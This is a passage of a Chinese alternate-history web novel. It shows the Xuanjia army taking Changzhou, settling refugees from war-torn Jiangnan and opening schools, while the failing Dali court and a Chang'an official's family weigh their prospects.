别景和也算是在几个军营呆过,唯有玄甲军练兵才叫他颇有成就感,令行禁止四个字,换到大历,最好的军队也难做到。 而玄甲军这头,所有兵丁都必须做到这四个字,单凭如此严明的纪律,说是能驰骋天下的强兵也不为过。 所以不管昌州地方官会不会负隅顽抗,他都能保证在年前拿下。 年前大捷,主公颁发奖赏,也正好叫将士们回去过个好年。 ———————————— 长安。 大历朝廷是眼看着一日不如一日,江南冒出头的几支乱军虽已经下旨叫江南大营的将军收拾,但迟迟没传回捷报,只怕战事焦灼。 江南是大历税收的大户,眼瞧着秋收将过,这税收不上来,来年户部必然是这也不批那也不批。 “江南几支流民乱军,不过乌合之众,竟这么久还没拿下,莫不是江南大营私底下与这些乱军勾结了不成。”新帝自然气的大发雷霆,没办法,虽然夺嫡拔了头筹,但大历这个烂摊子可是个烫手山芋。 若是新帝跟同广运帝一样,纵情享乐,不出三五年,保管人头就要被入长安的乱军吊在城门口,可要说人有多殚精竭虑为国事操劳,又是没有的。 新帝本也不是什么勤政爱民之辈,如今瞧着管事,也是怕一个甩手便把命都一块甩出去了,就说长安,一场天花至少去了三成人口,还有不少逃出长安未归的,若非是世家官吏跟着朝廷都回来了,只怕长安也是一座枯城。 “陛下莫气,气坏了身子可怎么得了。”金公公伺候走了广运帝,这会子还能在新帝跟前贴身伺候,可见是最懂拿捏人心的。 “偌大的朝堂,连一个替朕分忧的人都没有,朕如何能不气。” 金公公知道,新帝话里话外说的就是萧家,当初新帝能够登基,萧家必然是出力了的,但当了皇帝后,萧家反倒一改之前鼎力支持的模样,龟缩在朝中。 办事不出力,不出钱,一副稳坐钓鱼台的模样,外人见了,还当这皇位是萧家坐的。 “陛下若实在担忧,不若调遣一些禁军的武将往西南探查情况。”大历两百来年,武将子弟多如牛毛,成器的虽不多,但这时候拉一些出来挡挡皇帝的怒火还是有的。 新帝显然也明白这不是个办法,但也无可奈何。 “前有狼后有虎,也不知过几日,是不是还有什么虎豹豺狼要冒出来和朕作对,金公公,昌州那边盯着的人可有传回什么消息。” 比起江南的急迫,西南的反贼这一年多来消停,反叫朝廷少了几分谨慎,在新帝看,只要这些叛军不往中原来,他便暂时能与人和平相处。 “倒是不曾有什么新消息传来,玄甲军到底不过是白身起家,能够占据西南,也不过是借地势,到了中原只怕是要水土不服的。” “最好是,朕眼下手中钱粮还没攒够,不然也不会放任西南贼子放肆,西南之地虽是鸡肋,但年年税收也能叫户部多些收入。 听入西南的探子回报,说是这些反贼富庶,想来抢劫了不知多少富户,若是能够拿下,国库又何愁没钱。” 这话金公公也就是听听,万不敢顺着说下去,毕竟新帝的意思也是想学那玄甲军在富户身上打主意。 但中原这么多世家富户,哪个又是好相与的,没有名目便要抄家,只怕是嫌这刚坐稳的皇位冰屁股。 “还是手中早有更多兵力。”新帝如此说话,眼睛却盯着龙案上的几道折子,似乎有什么别的打算。 第159章 秋收过后, 昌州被围,新一茬的税收还没来得及运出去,不过眼瞧着昌州是要归玄甲军之手, 税收送不出去,还当是给玄甲军留一份大礼。 西南和昌州来往以来,不少西南的好东西通过昌州流入中原, 而昌州百姓最受益的, 莫不过棉花和稻种。 今年秋收赶上风调雨顺, 更是一个大丰收, 农人缴纳了粮税后, 纷纷将多余的粮食卖去粮行。 玄甲军一来, 沿海的县城倒没生什么大乱,盖因玄甲军占地不伤人的消息早早深入人心,虽不见得个个都全信, 但也不见有人闹事。 威名县是西南到昌州最近的码头, 别景和带兵过来,头一个要占的也是威名县,县令叶全是早有准备的, 象征性的抗争了一下,对大历那头有个交代后,也就乖乖投了玄甲军。 他也是知道威名县里有朝廷派来探查情况的探子, 不过按玄甲军的本事,这些探子多半是走不出昌州, 反正等玄甲军占据昌州后,朝廷只怕再不能装聋作哑。 和在西南不同,昌州的富户见玄甲军过来没几个跑的,想来也是看清了天南海北的跑也早晚要归玄甲军名下, 除非逃出大历国境,去外邦安家。 但外头也不见得好,所以除了家里当真没有出路的还要挣扎逃一逃外,其余有些不打紧的小错,也都选择留在昌州。 叶全带着威名县上上下下几十号人招待完别景和回家,难得身上不带酒气,别景和也算是一军之将,竟也守规矩滴酒不沾,可见玄甲军纪律严明,这样的强军之师,哪里是大历的兵能比的。 “此前咱们还担忧,怕玄甲军只在西南成器,如今看,倒是有王师之相。”陈娘子晓得阖家投靠玄甲军,有拿命在赌的意思,但富贵险中求,比起一直做缩头乌龟的大历,玄甲军俨然是一副清流。 “虽还不曾见玄甲军在中原之地和大历军队交战,但我观玄甲军上上下下,也是丝毫不惧的,京中禁军什么样我没见过,但府城府兵是远不如玄甲军的,便是朝廷派遣军队过来,也难拿回失土。” 大历朝廷一步退,步步退,在他看已经不成气候,但要说这是个软骨头也不见得,昌州到底离中原不近,朝廷一时半刻派兵也支援不过来,也许等昌州全被打下来了,玄甲军和朝廷才有一场硬仗要打。 “江南生乱,朝廷已经不成气候,怕就怕江南的乱军先一步打去长安。”自古乱军总是难打的。 “便是乱军先一步抵达长安,也就是可惜了长安百姓和朝廷的金银珠宝叫人践踏,真和玄甲军对上,又不见得能胜。”逐鹿天下又非是儿戏,难道谁先打去长安就能自立为王不成。 玄甲军和乱军在正统大历朝廷眼里都是乱军,没名没分谁也占不上大义,再一个看玄甲军竟叫治下十五岁以下孩童皆识字,此举一出,难道还怕什么文人诽谤。 玄甲军占据西南几年,算下来,只怕西南如今识字的人已经要比整个大历还多,世家所谓积毁销骨的手段,在玄甲军这里生不起什么波澜。 陈娘子闻言也是叹气,她自是生在大历长在大历,虽此时的大历不必从前风光,但家中日子还过得去,也没吃过什么苦。 转头得知大历将往新朝将起,心中何尝没有怅然所失之感,只是天下大势非一人之力能改,眼下最要紧的,还是尽快融入玄甲军,不求封侯将相,但为子孙谋一条路还是能做到的。 …… 威名县码头,来往商船不曾因为玄甲军攻打昌州有何改变,顶多进出城时比从前盘查的严苛些,但赶在秋收后的档口,不少商人为了挣这一茬钱,也是费尽心思送了不少好货过来。 别的不说,棉花是最紧俏的,西南种棉也有几年光景,起先不过一城一地,后整个西南都种棉,方才渐渐解了西南棉花的缺口。 西南这边能腾出存活,才有往外卖的,此前西南卖出来的都是羊毛衣,虽也保暖,但比起棉花又不如。 威名县的人口盘查的快,也是县令叶全提前有准备,不光将各家各户人口提前清查了一遍,连威名县的地也都是重新登记造册,好叫玄甲军过来省些功夫。 如此街上不过三五日功夫,就又有了人烟,百姓日子看似照常过,但街上时长有一队身着甲胄,手拿长枪的军爷巡查,到底还有几分忌惮。 原街上的地痞流氓也都老实在家呆着,做小生意的人家难免松口气,不必怕有泼皮无赖寻麻烦。 还有个好处是,玄甲军过来开了官粮的粮铺,收粮的价钱是定死了的,不会因为粮食太多叫百姓一个个贱卖,也叫威名县原本的粮商不得不跟着提价。 甚至有的还要比玄甲军官粮铺收的高一文两文,不然百姓都该卖粮给玄甲军,他们这些粮食商人生意却没着落。 “果然越靠近中原,这大户人家私藏的奴婢就越多,小小一个威名县,清单人口竟比官府登记造册的多出三成。”别拭雪是同别景和一块过来的,有堂兄发令,只等玄甲军打下昌州他就接手治理。 “近些年也不是一直风调雨顺,遇上天灾人祸,卖儿卖女乃是常事,不过玄甲军治下,只有民籍军籍之分,也禁止做人口买卖,再想私藏奴婢几乎不可能。” 两位主公这条令一下,几乎是绝了为人父母阿耶将儿女当私有财产买卖的路子,现在还能拿人换钱的路子只有成亲买卖。 “上有政策下有对策,西南也不是没有明面上认干亲实则当将人当牛马使唤,这事先前律法不严,差点就叫他们蒙混过去。”别拭雪自从跟在宋大人身边做事,方才明白百姓远比他们想的聪明,尤其是有了钱,便想着偷奸耍滑的不在少数,每年因为瞒税被抓去做苦工的不知几何。 “若百姓个个都是良民,哪还用当官的主持公道,新占之地,别的不说最重要的事宣传玄甲军新律,往年改朝换代,律法大多继承前朝,便是有改动也需要时间,玄甲军这里,新律已经和往朝大不一样,若是不给百姓说明白了,只怕犯的人不少。” 就说民间儿女成亲一事,纵然也有朝廷在成亲上有规定,但大部分还是身高,也都打着越早成亲越好的主意,毕竟对朝廷来说人口也很重要。 像玄甲军这里流行晚婚,还是硬性规定的还真是头一回。 “等你再多占几个县,想必西南那边就将要来昌州做事的人选好了,到时候我才有人手宣讲,不然靠你手中的兵做事,你拿什么打仗?”别拭雪何尝不想立刻大显身手,若是能将昌州管理的好,也算是在主公跟前露脸。 地方做事虽权利不小,但说实话前途不比中央,等玄甲军日后入主长安,他自然也是想回长安当官。 别景和不语,上下打量堂弟:“莫不是现在你就打算作壁上观当个菩萨不成?” 自然不是,好歹拿下威名县了,虽西南的人手没过来,威名县本地人手又不是没有,就说威名县的县令,便是一个识时务之人。 所以别拭雪要办的第一件差,就是在威名县内选定私塾的位置。 西南境内的私塾也不是藏着掖着的存在,昌州不至于人人皆知,但威名县和这么多西南商人来往,再没有不知道西南每座县城,甚至不少村落都是有私塾的。 从前对寻常百姓来说,识字犹如天堑,如今却唾手可得,如何不叫人振奋,叶全过来旁敲侧击过两次私塾之事,但因人口土地和房契没有清算完,他都先挡了过去。 眼下事情办完,再没有说拖延的道理,于是叶全一接到消息,就联合县中富户献银,私塾本是玄甲军国库拿钱,富户乐意承担一些玄甲军是没意见的。 不过别拭雪看,这些富户不过有意讨好玄甲军,自打知道送美人吹枕头风的路数不成后,一个个就改送钱了。 眼下这些富户没了傍身的田产,能拿出来的钱也不如以往大方,但凑一块数目也很可观。 西南,尤其是盘州的私塾已经成了体系,连教材都重新选定,再不跟从前一样只念什么之乎者也。 有了钱,威名县的私塾修建不过是时间问题,至于教书先生,还得从西南抽调,至少威名县本地的不大能教玄甲军的教材。 又因为十五岁以下入学是强制的,所以等别景和出发去下一个县城的时候,威名县县城里的私塾已经有模有样的开办起来。 “民间百姓虽然对儿郎和姑娘哥儿同堂授课颇有微词,但按大人的要求,说是哪家有意见,便将哪家儿郎送回去几日,风言风语倒是消停了不少。” 其实更多的还是有姑娘哥儿的人家说嘴,除开恒古不变的名声外,最要紧的还是家里少了干活的。 眼下因为亲事年纪有了新规定,不少人家再不能十三四岁的时候将家中姑娘哥儿嫁出去换彩礼钱,还要多养几年,已经心生怨气。 现还要将人送入私塾念书,不能帮家里做事,抱怨自然也是理所应当的,但别拭雪会拿人三寸,只管将心生不满人家的儿郎送出学堂几日,这些人家自然而然就得服软。 至于私下里会不会继续咒骂,别拭雪管不着。 玄甲军虽也有言论获罪的条款,但都是管妖言惑众者,若不曾造谣生事倒也轻易不能治罪。 “叶大人此事办的很好,待大军战事将歇,我只会禀报给两位主公叶大人的功绩。”叶全有些本事,别拭雪不介意同人交好,日后昌州还得靠他们帮忙治理。 “别大人哪里话,不过是下官分内之事。” “叶大人谦虚了,玄甲军一直缺人才,如叶大人这样的能办事的人才,只要不违背玄甲军的规矩,迟早是有一席之地的,还望叶大人多多勉力。” “谢别大人赏识。”叶全面对一个年纪只比他一半略大的哥儿,倒也能屈能伸,只要前途不是一片灰暗,总有人努力去争取的。 第160章 “爹, 歇一歇,再往前走十来里地,就到昌州地界了。”一个汉子抹了脸, 扶着身边的老汉打算在路上歇口气。 沿道上也有数十人,瞧着往一个方向去,只是大部分人都衣衫褴褛, 想来是一路风尘仆仆赶了不少路。 “昌州日子当真比咱们从前要好过?”老汉坐下, 越靠近昌州心里越没底。 他们打江南那头过来, 这几个月江南大乱, 原本富庶的老百姓不少都跑的跑逃的逃, 村里人家能活的下去自然是不想逃命的, 奈何乱军打仗,不少混子浑水摸鱼。 三五成群趁夜到村里抢杀都是常事,也实在是有性命之忧, 才有这背井离乡。 按说逃命要么南去要么北去, 往西南走倒是都一遭,这样亏得老汉的儿子从前跟的东家是走南闯北做生意的,玄甲军的生意, 明面上只在昌州附近,实际暗地里也在大历其他地界有门路,才叫这汉子晓得玄甲军是个好去处。 “肯定的, 上回去昌州,听本地百姓说玄甲军要打过来了, 只要咱们落户在昌州,就能分到田,房子暂时没有也不打紧,官衙门会管。”也是过来的时节不对, 若是夏天来,也不消什么房子,只搭个棚下垫着稻草也能将就住,乡下人家本也没那么讲究。 偏眼下已经入冬了,只是还不到最冷的时候,不然一路过来,不少人家都要给冻死在路上。 “昌州本地人不少,咱们这些外来户怕是分不到什么好地。”老汉心里没底,因为天底下哪有这样的好事,给分田还给管住。 “昌州本地人是有,但富人老爷手里哪个没有上千亩的田,玄甲军都是要买走的,且玄甲军治下做活的机会多,地都是分不完的。”他前东家和玄甲军搭上关系后,也去过西南,他是跟着东家跑路的,自然也见识过西南百姓的日子。 这些年,西南的地只有多的,没有不够种的,听闻玄甲军还开了山地梯田,都是给外来户准备的。 老汉咽了咽口水,好事越听越难叫人相信,毕竟天上哪有掉馅饼的,可话又说回来,就他和儿子两个人,身无分文,除开有些力气做活也没别的叫人看上的东西。 卖去为奴为婢,大户人家估计也看不上,如此走一趟昌州,拼一拼倒也不打紧,可沿道一路的人家,多是拖家带口。 他是不信有这样多跟他儿子一样见识过西南准备阖家搬去的人家,路上也同几家聊过,只说瞧着大伙都往这头走,便也跟着走了,具体去哪里他们也不晓得,倒是盲从的很。 队伍还在缓慢移动,远远的一队骑马着甲的军爷正往这边走,这时候遇上兵多半是昌州的,但逃命过来的百姓可是见识了乱军的厉害,这会儿就是遇上官兵,一个个早吓得六神无主,想要往回逃。 可队伍冗长,不是轻易能调转方向的,这样回跑还容易造成踩踏事故,于是为首的官兵立刻大声呵斥,表明身份,方才镇住这群慌乱的百姓。 “玄甲军竟然已经拿下昌州了。”汉子喃喃道,他还说到了昌州多半要寻个落脚地,看玄甲军什么时候来昌州,如果来的早,他们便在昌州安家,若是迟来就转道去西南,不想这才多久功夫,昌州竟然被拿下了。 “三娃,这就是你说的玄甲军。”老汉眼睛瞪大,这一队官兵,个个都骑着高头大马,生的也人高马大,比在江南的乱军要厉害。 “正是,爹,咱们还没到昌州就遇上玄甲军,说明玄甲军已经打下昌州了,咱们过去就能分到地。”汉子高兴的紧攥他爹的手,正是赶上好时候了。 老汉虽还是怀疑儿子的话,但心里还是有几分高兴,当初舍了老家的田地,他是万般心痛,那都是祖祖辈辈攒下来的基业。 也是他们家历来穷,传到他这一辈,地也不过刚养活一家子,原说到他儿子这里,怎么也该能攒些出息,将老宅推了重修,但这两年大历的税越收越重,逼得他们这样的人家吃糠咽菜都要活不下去了。 若是玄甲军这里,当真白给地种,也不胡乱收税,不消几年功夫,房子也就攒下来了,有了房子才好给儿子说亲。 江南姑娘哥儿是不愁嫁的,因为不少姑娘哥儿有个绣活织机的差事傍身,想要取亲没得上好的聘礼是不成的,乡下的姑娘哥儿有门路也都往城里嫁,闹的没钱的人家也只有打光棍。 要是没加税,他早两年就该托媒人给儿子说亲,也不至于还耽误着。 有玄甲军在前头领路维持秩序,一行流民也都规矩跟着走,毕竟那官爷说了,到了昌州登记好,就给安排地方安置。 不必再风餐露宿吹冷风,如何不叫人听话,十数里路走是要走一两个时辰的,好在天还不暗,走到昌州附近的县城,也不过下午。 远远瞧着,县城外头有一排整齐的棚子,随着风吹过来的是饭香,甚至还能闻到肉荤味,叫一路隔三差五才能吃一顿的流民立刻撒丫子往前走。 “现到这里登记,拿了牌子的人才能吃饭,吃完得去另一边看大夫,等大夫看过没病就给安排住处。”管事的娘子嗓门很大,重复了几次,流民也都晓得该在哪儿排队。 有的饿狠了想要想要打歪心思,但一看周围守着拿银枪的官爷,又都老实的排队,登记的队伍十好几列,想必就是怕叫流民等久了。 若是带了户籍的,只消把户籍给出去,不必多说就能办了,没有户籍的就麻烦些,需要细细盘问,好在这些日子也不是第一次接待流民了,大部分做事的小吏都是熟练工,队伍一点一点的在缩短。 老汉排在中间,撑着脖颈往前看:“做事的当真都是女娃哥儿。” “玄甲军这里,只要有本事,管你是姑娘哥儿还是儿郎,爹,我给你说过,玄甲军的两个主公,是对夫夫,人家日后要一起当皇帝的。” “哥儿当皇帝。”老汉打出生起就没听说过,毕竟在大历姑娘哥儿想要立个户单独出去过都不行,更不说当皇帝了。 “嘘,爹,有些话咱们到了玄甲军的地界说不得,你真要说也只有说好话,不然叫人听见了,可不得了。”虽说玄甲军不至于为一两句说嘴的话就喊打喊杀,但把人拉去做几日苦工也是有的。 “我省的,我省的,这不是听你一说我好奇么,管他哪个当皇帝,只要能叫咱们吃饱饭,有地方住,叫我把他当菩萨拜都行。” “爹,玄甲军这里你也就只能拜拜菩萨,见官是不让跪的,行个拜礼就成。”要说见官不跪,在大历都是考上秀才才有的权力,玄甲军这里倒是一口气给取消了,说是跪来跪去折寿不说,还可惜了衣裳。 老汉又瞪大了眼睛,因为路上他也没少听儿子说玄甲军的事,桩桩件件稀罕事本以为听得够多了,没想还有,也不晓得这个玄甲军的主公是不是天上菩萨转世,不然咋叫百姓过这样的好日子。 约莫小半个时辰过去,老汉带着儿子拿了木牌,去隔壁领饭,玄甲军给他们流民吃的竟然是上好的白饭,配的菜有的还能零星见些碎肉,这可是寻常人家都难过上的好日子。 “大历这些年,也渐渐用炒锅了,但铁一直缺,只大户人家和酒楼有本事弄到,但玄甲军这头做饭都是用铁锅,配着榨出来的素油,就是野菜滋味都不一样了。” 老汉听着儿子说话,手里也将稠粥和炒菜一搅和,呼呼就喝下去。 “这菜舍得放盐,还没有苦味,玄甲军的盐便宜么?”老汉吃了这多年的盐,苦不苦一尝就知道。 谁料一路像个万事通的儿子反而摇摇头:“上回跟东家过来,只路过了米行,晓得米价便宜,官盐什么价倒是没打听,但在西南吃的饭菜,都是有滋有味,也不见苦,想必用的都是好盐。” 老汉心里有了计较,若是给外来的流民都供应这样的好菜好饭,玄甲军治下说不得当真跟儿子说的一样。 一路吊着的心终于是能松下来,虽说背井离乡实在叫人舍不得,但若是能过好日子,一路跋山涉水也是值当的。 同老汉一样想的人家不在少数,毕竟打江南往西南逃,风餐露宿能吃上口热的都不容易,这会子一到昌州就有好饭好菜供上,如何不叫委屈了一路的百姓边吃边哭。 别拭雪站在城墙上,看过流民后就准备回衙门了。 谁料他到昌州,最难的不是管理昌州,而是接手江南过来的流民。 “瞧着一批流民比一批多,江南那边的情况只怕是不好。”别拭雪同堂兄说起今日见闻。 “你我也是读过史书,天下大乱什么时候有好过,也就是到了西南见识过玄甲军,方才没见哀鸿遍野。” 自古只要生乱,不死三五成的人那是不会罢休的,换其他雄主,打下西南,能有如今玄甲军七成人口,都是文韬武略的雄才。 “江南这样乱,等咱们打过去还不知道被祸害成什么样。”江南到底和西南离的远,他们想管那也得几年后去了,但一想到接手的江南不在是从前的富饶之乡,就叫人可惜。 “咱们管不到,朝廷不会坐视不理,大历的国库还指望江南,不会像放弃西南一样轻易放弃江南。” 若是乱起来的是西北之地,大历说不得还要拖延拖延,可江南那是税收大地,朝廷的官员都还指望国库发薪水呢,就是皇帝不愿意打,文武百官肯定是不答应的。 “只盼两败俱伤,最后叫咱们捡个漏。”虽玄甲军兵强马壮,打一定是不怕大历的,但能兵不血刃拿下地盘,那是最好的。 “这就看咱们两位主公插不插手了。”《 》 160-170 第161章 又是一年除夕, 西南早不复尚柒和别此云过来时的模样,就说他们在的盘州城,从里到外都换了个模样。 除开那些大宅改的私塾, 其余小宅大多都换新了,别看城里人家好似都住砖木房,往外去, 也多的住木头房子的。 亏得这几年百姓赚了些钱, 都延请玄甲军名下的建筑队修了新式的砖房, 比得老房用青砖便宜, 富裕些的更是盖了小二层。 听闻三层也是能盖的, 只不能放重物, 但有说三层那竹筋不牢靠,遇上地动必然是全塌,越是富贵的人家越是惜命, 自然是没人盖三层。 就是乡下村里, 只要不是一个劳动力都没有的人家,也都能换两间新房住,冬日再不见被雪压塌的房子。 黄州和忠州情况不必盘应二州, 不过近两年也赶上来了,许是再过两三年大部分人家也就少有住茅草屋的。 “今年各州添丁数量比去年多了近一倍。”西南人丁少,不比中原想要发展人口是必须的, 但尚柒和别此云还是有意压着。 时下又没什么避孕手段,大部分娘子郎君怀了自然只有生下来, 喝药堕胎是极为伤身的,以前吃不饱,都禁不住百姓一个接一个生,如今吃饱了, 生的只有更多。 还是夜里没事做,只能想那档子事闹的。 “意料之中。”尚柒叹气,“如今西南夜里虽没了宵禁,但烛火照明到底不成。” 大城还好,夜里沿街做夜市生意的店家不少,照明虽不如白日但也不妨碍走动,加上夜里玄甲军也安排了人巡逻,比白日巡逻的还紧密些,有些胆大的娘子郎君倒也敢成群结伴的出门走动。 乡下就不行了,到底还是心疼钱,夜里点蜡烛油灯也就借个火,做针线活都费劲,不如吹灯就睡。 也是近两年给地招工修路的活不少乡下汉子都赶着去,不然人口还能再多。 “沼气灯眼下私塾已经用上了,但大面积供应还需要功夫,等西南几个主城都能大面积用上沼气灯,情况会好一些。” 煤油灯比蜡烛油灯照明强,而沼气灯又比过煤油灯,但真要说肯定还是电灯最好,可眼下连橡胶都没影子,电灯真弄出来也用不到百姓手里。 “这事却是没那么着急,昌州打下来,咱们也算是在中原之地有个对外的根据地,兵力必然是要抽调一部分去昌州驻守。” 近些年玄甲军陆陆续续的征兵,应聘的儿郎是不少的,娘子郎君数目不多,但也将将能凑够几千人。 更不说打到西南尚柒就在琢磨火药的事,如今不说远了,只说战场上,火药必然是能用的。 “江南的情况越发乱了,拭雪送来的信里,说是昌州接待了不少江南逃难过来的流民,昌州离江南不近,这都有大批流民过来,可见江南的情况比咱们想的严重。” 别此云之前和尚柒讨论过,江南的乱军多是几大世家撺掇起来的,真打仗肯定不跟流民起义一样,到处杀烧抢掠。 可这会一看,又不是那么回事,江南大批流民出逃,说明此地已经不能活人了,这乱军在江南怕是没干好事。 “出现一支乱军,就会出现不少浑水摸鱼的狡诈之辈,忠州不就是个例子,天下一乱,总有人前仆后继冒头,想当皇帝。”但自古至今,还没有哪个草莽登基,往祖辈看,都是世家出身。 “想来生乱的几个世家这会心里正惶恐。”别看世家不在意谁当皇帝,但真到了乱世,没能投靠一个明主,也容易阖家消失。 不然从前那么多世家,怎么都没影了,现存的几大世家,说是往上数辉煌几百年,谁知道乱世的时候一脉到底有没有断绝,最后叫外人冒充。 “昌州被打下来,江南又乱起来,新帝只怕正焦头烂额,依我看,朝廷的大军该是先平江南之乱,咱们趁机再拿下两州,便能坐稳。” 大历朝廷效率一向感人,而玄甲军拿下黄州后一直休养生息,不说别的,盘州应州的读书人又有一批能够任用。 “朝廷和江南乱军之事不急,眼下咱们要动西北吗?”中原别此云和尚柒都不打算一口气吃下,逐步蚕食方能叫玄甲军的政策自上而下实行,至于西北么。 “是有人想投诚吗?”西北比起西南还要不如,他们真耗费大力气也耕耘不出什么,有此近两年不过生意往来的密切了些,虽也有探子安插在西北,但眼下没有打过去的心思。 “自然是有的,不过都是些紧靠西南的县城,真正大州刺史不曾有动静。”其实没有动静也能说明西北三州的刺史多半是睁一只眼闭一只眼。 “若是有意投诚的地方官,可以遣人去接触接触,不说立即占城,将咱们的规矩先传过去,叫人先有个心里准备更好。”移风易俗从来不是容易事,西南风气开放些,尚柒和别此云大刀斧阔动规矩,反抗力度没那么大。 当初他们真要是在中原颁布这些规矩,只怕还没来得及实施,就要闹出不少血案。 —————————— 西北章州梧桐县。 因为地靠西南,许多西南出蜀的商人都要走此地去西北做生意,玄甲军外出乔装的商队也多停留在梧桐县,一来二去,上到官员下到百姓,都晓得哪些是西南过来的反贼。 玄甲军外出办事,历来都是守规矩的,不敢欺压百姓,商队在梧桐县名声也不错,不少百姓也因商队得利,私底下也想着与其交好,又怕官老爷追查过来,治他们个勾结反贼的罪名。 结果谁想官老爷比他们殷勤,这不有支到西北边境和草原做生意的商队没能赶在年关前回西南,一到梧桐县,就被县令请去暖宴招待,消息从小吏家中七大姑八大姨口中传出去,县里从前接待商队的人家无一不感叹慢了一步。 “玄甲军是当真有本事,都不曾向西北动兵,竟叫西北的官老爷赶着巴结。”这是有几分见识的人家才能说出来的话,不然跟那只晓得地里埋头苦干的人家说,人家都不见得知道玄甲军是哪个。 “说不得玄甲军有意出兵西北,要我说,真打过来倒是好事。”西北的地不成,不如西南肥沃,种不出什么好粮食,分地对百姓的吸引力不大,但玄甲军名下售卖的粮食,比大历要便宜不少。 卖粮食的商人也都是官家的人,私底下不会故意抬价,他们这些靠近西南的县城方能得一些便宜,吃些低价的好粮,但更远的地方就不成了。 因为陆路运粮实在费劲,不如走水路方便,而西北的水系又不如西南发达,好些东西都送不到西北境内来。 也就是像是羊毛这样运输不怎么折损的东西,才能靠陆路运转,赚些钱。 “肯定是好事,咱们县也不是没有去西南做生意的,但凡有本事的,在西南创出一番天地的,哪个还回西北来,都是阖家去西南安家落户,也就是咱们这些没本事的,只能干看着。” 其实去西南,有一把子力气也就够了,毕竟西南卖力气也能挣到钱,但到底没出过远门,一般人家能活下去,哪能下这个狠心背井离乡。 “咱们这位县太爷示好,说不得几个月过去,梧桐县也要换个主公了。”西北历来没什么朝廷归属感,实在是人少还穷,每年缴纳的税金还比不上西南,若非是胡商需要走此地去长安做买卖,能赚些外地落脚钱,日子还要更难过。 “也不见得,不是才传来消息玄甲军打昌州去了,比起咱们这穷地,中原肯定更重要,只要一路打去长安,西北哪还要费功夫出兵。” “也是,可惜了咱们西北儿郎,玄甲军不来,真打下中原,招兵都没咱们西北儿郎的份。”听得去西南的商人回来说,玄甲军对兵将待遇不知比大历强了多少。 这话引起了不少人共鸣,而二楼散座的两个儿郎也未此事发愁。 “若是玄甲军肯打过来,凭哥哥你的本事如何不能在军中博个一席之地,那玄甲军眼下的将帅樊泊,也是籍籍无名之辈,如今统帅三军好不威风。”玄甲军自扬名以来,两位主公的事迹不说,就是樊泊也都成了不少有识儿郎茶余饭后的谈资。 另一汉子倒是不吭声,只饮酒水,这店里卖的酒也是打西南过来的,玄甲军的酒滋味比过天下佳酿,时下能吃酒的汉子,除了玄甲军的酒其余酒都吃的不得劲。 “步大哥,要我说,咱们干脆去西南入兵营,赶上出兵之际,挣得三二战功回来,也算衣锦还乡,在梧桐县蹉跎,不过是给人当打手,万一哪日下手重了闹出命案,可怎么是好。” 玄甲军历来是要清算前面的积案,便是冤有头债有主,不是他们的主要过错,也难保不会因为连坐去矿里做事。 好男儿若没机会闯荡四方也就罢了,偏天下大势又赶上关口,自古乱世出英雄,可不能轻易错过。 “家中尚有老娘在,哪能轻易脱身。”姓步的汉子难说没心动,但老话讲父母在不远游,他若是去西南从兵,挣得功勋光耀门楣也就罢了,若是死在战场上,叫家中老母怎么办? “哥哥这话也是我的顾虑,但我想着不若将家中老母一块带去西南,我听闻玄甲军是照顾军属的,咱们即便去打仗,也能不怕家中无人照应。” 如客栈两位打算的儿郎还不在少数,到底还是建功立业吸引,一时间西南征兵处倒是多了不少魁梧儿郎应征。 而此刻的中原之地,又是另一番情景,因为大历要对江南乱军动兵,开春前要征一次兵役,不少百姓家中正怨声载道,怕此去便是天人永隔。 第162章 长安城。 原天下第一的雄都竟也败落至此, 从前热闹的东西两市,不说形容摩肩擦踵,却也能够看出一片繁华之相。 如今东西市大不如前, 像是西市,从前胡商随处可见,时下还在长安做买卖的胡商, 多是安家在长安。 常乐坊的尚府也已经凋落, 如今天下都知道玄甲军的主公, 一个是别家哥儿, 一个是尚柒, 尚柒未起家前在常乐坊有处宅子也不是什么难打听的消息。 早先知道消息败露, 一切和尚家有关系的人必是要被清算,天花席卷长安前,尚柒就让冯风遣散了人, 时下已经是一处空宅。 按说新帝归长安后, 是要派人过来宅子搜查的,谁料朝廷中的事一件压过一件,尚府却是不曾有人来过, 在官府哪儿,依旧是尚家的房契。 而尚府隔壁的苏府,日子却难过了。 天花袭来长安, 苏府的大人自然是跟着朝廷去了江南,只是到底苏家出身寒门, 此去江南日子不大好过,回到长安,也没什么复用的机会。 他们倒也没有避着从前和尚柒做邻居时关系不错,毕竟尚柒先前还和安和公主交好, 整个长安不少娘子郎君都曾到尚府看过病,真要追究,有一个算一个都跑不了。 “连长安城的人家都要征兵役,可见朝廷连凑兵打江南乱军都难,更不提西南了。”赵郎君与夫君说话,也是叹气,广运帝在时,大历虽比不得前朝昌盛,但也不像如今,都说落难的凤凰不如鸡,眼下大历比那野鸡还要不如。 “兵部这次遣我办事,也是将得罪人的活推给我罢了。”苏大人也为难,莫说现在长安人丁寥落,就是从前长安征兵役,也是征不来什么人的。 到底天子脚下,大部分百姓还是愿意拿钱消灾。 “左右现在什么差事不得罪人?安心办差就是。”赵郎君看的开,不提他们和反军头子有私交,就说苏家出身不高,在这个节骨眼上,就是推出来挡灾的。 “话虽如此,但你我也要早做打算才是。” 赵厢闻言,如何不知道丈夫是什么意思?满长安有几个还认为大历能长久下去,有门路的找门路,没门路的只能四处碰壁,就说大世家,那江南乱军和西南玄甲军,难道没有他们插手? 无论如何,大世家总有活下去的门路,他们这等人家,运气好新君入城,继续做原本的官,未来必然是没有太大出息的,哪个新皇帝跟前不是有自己的心腹班子,真改朝换代,朝廷上下都得换代。 “你若能下定决心,只消叫咱们儿子去一封信,然后辞官离开长安就是,但此去是什么光景你也晓得。”苏家不过是个不大不小的官,真辞官了上面的也不见得多管。 “你我也就罢了,总要给儿子留条后路,长屿和尚家三哥儿关系好,亲事这等咱们高攀不起,但借往日情分,谋得一席之地想来是不难。” 赵厢瞥了人一眼,倒是有几分自知之明,从前尚家三哥儿和他们儿子交好,往外说的确能套个青梅竹马之谊,但明眼人见着两个小的不过交好,若真是想高攀娶人家,只怕他们还没到西南,这位玄甲军的主公就得收拾他们。 “你既然有了决断,我和儿子总归是听你的,我且叫儿子私底下去信一封到西南去,瞧人安排好,再辞官离开,长安不是久留之地。” 赵厢一辈子也算是在长安长大,哪想人到中年还要背井离乡。 “好,我在朝廷办差,虽算不得厉害人物,但自问做事从不曾有过疏漏,听闻玄甲军最喜欢干实事的官员,不问出身,也许你夫君我还能在玄甲军寻得机会,平步青云。”当官的,少有不想往上爬的。 “这话我也就听听,只盼咱们去了你当真有机会一展所长。”赵厢说着叹气,只此一别,也不知何时能够再归长安。 …… 